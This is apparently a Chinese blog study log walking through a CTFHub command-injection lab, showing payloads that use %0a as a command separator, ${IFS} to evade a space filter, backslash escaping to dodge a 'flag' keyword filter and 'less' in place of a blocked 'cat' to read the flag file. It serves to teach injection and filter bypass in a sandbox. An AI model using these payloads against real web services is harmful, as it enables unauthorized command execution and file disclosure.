CTFHub 命令注入-综合练习(学习记录)

综合过滤练习

命令分隔符的绕过姿势

;

%0a

%0d

&

那我们使用%0a试试,发现ls命令被成功执行

复制代码
/?ip=127.0.0.1%0als

发现一个名为flag_is_here的文件夹和index.php的文件,那么我们还是使用cd命令进入到文件夹下

http://challenge-438c1c1fb670566b.sandbox.ctfhub.com:10800/?ip=127.0.0.1 cd flag_is_here%0als

发现空格和flag被过滤,空格绕过前面已经讲述,这里就不在赘述,直接尝试${IFS}进行空格绕过,使用fla\g反斜杠转义flag

复制代码
/?ip=127.0.0.1%0als${IFS}f\lag_is_here

成功读取flag_is_here文件夹下的内容

接下来,直接使用cat读取flag_300121897522180.php文件里的内容

发现过滤了cat,前面也讲过cat的绕过姿势,这里不在赘述,直接尝试less

复制代码
/?ip=127.0.0.1%0Acd${IFS}f\lag_is_here%0Aless${IFS}f\lag_3879302014865.php

命令执行成功,查看页面源代码得到flag

相关推荐
慕y27412 分钟前
Java学习第十五部分——MyBatis
java·学习·mybatis
碣石潇湘无限路1 小时前
【AI篇】当Transformer模型开始学习《孙子兵法》
人工智能·学习
future14122 小时前
C#每日学习日记
java·学习·c#
碎叶城李白4 小时前
若依学习笔记1-validated
java·笔记·学习·validated
im_AMBER5 小时前
学习日志05 python
python·学习
真的想上岸啊6 小时前
学习C++、QT---18(C++ 记事本项目的stylesheet)
开发语言·c++·学习
rui锐rui7 小时前
大数据学习2:HIve
大数据·hive·学习
凛铄linshuo7 小时前
爬虫简单实操2——以贴吧为例爬取“某吧”前10页的网页代码
爬虫·python·学习
大春儿的试验田8 小时前
高并发收藏功能设计:Redis异步同步与定时补偿机制详解
java·数据库·redis·学习·缓存
金色光环9 小时前
【Modbus学习笔记】stm32实现Modbus
笔记·stm32·学习